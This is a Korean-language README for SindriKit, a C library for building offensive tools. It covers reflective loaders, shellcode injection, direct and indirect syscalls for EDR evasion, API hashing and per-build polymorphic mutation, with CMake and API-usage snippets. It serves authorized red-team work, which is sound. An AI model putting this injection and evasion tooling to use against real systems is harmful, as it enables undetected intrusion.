
SindriKit v2.0.0
작전적으로 신뢰할 수 있는 공격 능력을 구축하기 위한 기초 C 라이브러리
SindriKit
공격적 개발에는 더 나은 아키텍처가 필요합니다.
공격 기능을 구축하기 위한 C 라이브러리.
핵심 개념
대부분의 공격용 유틸리티는 실행 메커니즘을 기법의 로직 안에 하드코딩합니다. 리플렉티브 로더는 단순히 이미지를 매핑하는 것이 아니라, 특정하게 하드코딩된 VirtualAlloc 또는 네이티브 NTAPI 호출 체인을 사용하여 매핑합니다. EDR이 그 특정 체인을 모니터링하기 시작하면, 전체 도구를 다시 작성해야 합니다.
SindriKit은 인터페이스 추상화 테이블을 통해 관심사의 분리를 강제함으로써 이 문제를 해결합니다:
- 기법 로직: (예: 로더, 인젝션, 패처) 상태 추적과 데이터 오케스트레이션을 담당합니다. 메모리가 어떻게 할당되는지, 스레드가 어떻게 생성되는지에 대한 지식이 없습니다.
- 실행 메커니즘: (예: Win32 API, 네이티브 NTAPI, 직접 시스템 콜) 독립적인 API 테이블 안에 있으며 런타임에 기법에 주입됩니다.
실행 메커니즘을 런타임 함수 포인터로 전환함으로써, 페이로드 실행 로직을 변경하지 않고도 단 한 줄의 코드로 전체 전략을 Win32 호출에서 원시 직접 시스템 콜로 교체할 수 있습니다.
설계 아키텍처
- 분리된 실행 프로필: 호출 기법을 깨뜨리지 않고 함수 포인터 테이블을 통해 기반 메모리, 모듈, 스레드 조작 동작을 교체합니다.
- 계단식 시스템 콜 폴백: 우선순위 체인을 갖춘 플러그 가능한 SSN 리졸버(
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort) — 도메인 코드를 건드리지 않고 전략을 교체하거나 확장합니다. - 컴파일 타임 난독화: 문자열 및 API 해싱 알고리즘(DJB2, FNV1A)을 CMake를 통해 전역적으로 교체할 수 있습니다. 컴파일 시 전역 시드를 자동으로 무작위화하여 정적 시그니처를 변경합니다.
- 변이 엔진:
SND_MORPH를 통해 깊은 다형성을 가능하게 합니다. C 코드에 휘발성 불투명 프레디케이트를, 어셈블리 스텁에 기능적으로 동등한 수학/NOP를 주입하고, 핵심 구조체의 메모리 레이아웃을 뒤섞어 매 빌드마다 고유한 바이너리 시그니처를 생성합니다. - 릴리스 빌드: 사일런트 티어는 최종 바이너리에서 모든 진단 문자열, 파일 디스크립터, 추적 프레임을 제거하여 정적 풋프린트를 순수 프리미티브로 축소합니다.
SindriKit 통합하기
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
단 두 줄로 여러분의 도구가 SindriKit의 모든 기능을 상속받습니다: PE 파싱, 시스템 콜 해석, 리플렉티브 로딩...
엔진
API 추상화 계층
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
실제로 이는 모든 도메인이 동일한 계약을 따른다는 것을 의미합니다:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
계단식 시스템 콜 파이프라인
SindriKit은 시스템 콜 해석을 주입 가능한 메커니즘으로 취급하여 전략을 우선순위 순서로 쌓습니다. 엔진은 하나가 성공할 때까지 폴스루합니다:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
인보커는 SSN 해석과 분리되어 있습니다 — 도메인 코드를 수정하지 않고 직접 시스템 콜과 간접 시스템 콜 사이를 전환할 수 있습니다. 간접 호출은 합법적인 NTDLL 가젯으로 점프하여 시스템 콜 반환 주소를 ntdll.dll 내부에 유지합니다.
컴파일 타임 알고리즘 민첩성
모든 API 이름과 모듈 문자열은 단일 CMake 변수를 통해 컴파일 타임에 최종 바이너리에서 제거됩니다:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
각 해시는 무작위로 생성된 시드로 계산됩니다(SND_RANDOMIZE_SEED=ON인 경우). C 코드 한 줄도 건드리지 않고 컴파일 간에 정적 풋프린트가 완전히 바뀝니다.
아키텍처 인식 동적 FFI
임의의 런타임 함수 호출을 위한 사용자 정의 MASM 어셈블리 브리지입니다. x64 빌드는 Microsoft x64 호출 규약(섀도 스페이스, 레지스터 인자 배치, 스택 정렬)을 정확히 따릅니다. x86 빌드는 cdecl과 stdcall 대상 모두를 지원하며 인자를 역순으로 푸시합니다.
경계 검사 PE 파서
is_mapped 플래그를 가진 통합 PE32/PE32+ 파서로, 원시 온디스크 이미지와 메모리 매핑된 뷰 모두를 올바르게 처리합니다. 모든 데이터 디렉터리 접근은 역참조 전에 추적된 버퍼 경계에 대해 검증됩니다. 익스포트 해석은 해시 기반 조회를 통해 최대 깊이 4까지 포워더 체인을 지원합니다.
다음에 대해 테스트됨:
- x86 및 x64 전반에 걸쳐 엣지 케이스 EXE, DLL, 잘못된 인자, 누락된 익스포트, TLS 콜백을 대상으로 하는 40개 이상의 핵심 테스트 조합.
pe_mutator모듈이 생성한 100개 이상의 동적 PE 변이: 제로화된 섹션 이름, 정수 오버플로, 잘못된e_lfanew경계, 망가진 임포트.- 전체 Corkami 코퍼스: 유효한 샘플은 깨끗하게 로드하고, 잘못된 형식의 샘플은 크래시 없이 깨끗하게 거부하며 샘플의 99%를 처리합니다.
상태 추적 도메인 컨텍스트
모든 공격 작업은 단계 열거를 가진 개별 컨텍스트 구조체를 통해 관리됩니다. 작업은 수면 난독화 또는 단계적 배포를 위해 단계 사이에서 일시 중지되고, 깨끗하게 재개되며, 하위 시스템과 이유까지 정확한 실패 지점을 검사할 수 있습니다.
API 설계 철학
시스템 콜 파이프라인을 한 번 부트스트랩합니다(일반적인 패턴):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
인보커는 SSN 해석과 분리되어 있습니다 — 도메인 코드를 수정하지 않고 직접 시스템 콜과 간접 시스템 콜 사이를 전환할 수 있습니다. 간접 호출은 합법적인 NTDLL 가젯으로 점프하여 시스템 콜 반환 주소를 ntdll.dll 내부에 유지합니다.
한 번의 할당으로 실행 프로필을 교체합니다:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
모듈 해석도 동일한 패턴을 따릅니다(snd_mod_win 대 snd_mod_nt). 시스템 콜 기반 모듈 백엔드는 없습니다 — 임포트는 전체 _sys 프로필에서도 PEB 워크 + EAT를 사용합니다.
빌드 티어
디버그 티어 — SND_ENABLE_DEBUG=ON
로컬 개발용입니다. snd_status_t는 file, line, 128바이트 context 문자열 버퍼를 포함하도록 확장됩니다. SND_ERR_CTX와 SND_DEBUG_PRINT는 상태 머신 전환, 파싱된 PE 필드 값, 시스템 콜 해석 결과를 출력합니다. SND_USE_PRINTF=ON을 사용하면 출력을 디버그 콘솔 대신 stdout으로 라우팅합니다.
사일런트 티어 — SND_ENABLE_DEBUG=OFF
운영 바이너리를 위한 표준 배포 구성입니다. 모든 진단 문자열, 파일 참조, 줄 번호가 완전히 컴파일 아웃됩니다. snd_status_t는 두 개의 정수로 축소됩니다. 그 외에는 아무것도 없습니다.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
문서
전체 레퍼런스는 docs/에 있습니다:
- 시작하기 — CMake, 빌드 티어, DI 부트스트랩, 첫 로더/인젝션 워크플로
- 아키텍처 — 의존성 주입, 상태 머신, 상태 시스템
- 프리미티브 — 메모리, 모듈, 프로세스, 매핑, 시스템 콜, 실행(FFI)
- 로더 — 리플렉티브 PE 파이프라인
- 인젝션 — 클래식 셸코드 및 PE 인젝션
- 파서 — PE 및 env(PEB) 하위 도메인
- 공통 — CRT 없는 헬퍼, 버퍼, 해싱, 상태
- 예제 및 PoC —
unified실행 파일 프로필(load, inject, hg) - 테스트 — 통합 러너, PE 뮤테이터
계획됨: 회피 도메인.
면책 조항
SindriKit은 교육, 연구, 승인된 레드팀 목적으로만 제작되었습니다. 전체 법적 면책 조항과 OpSec 고려 사항에 대한 정보는 보안 정책을 참조하십시오.
라이선스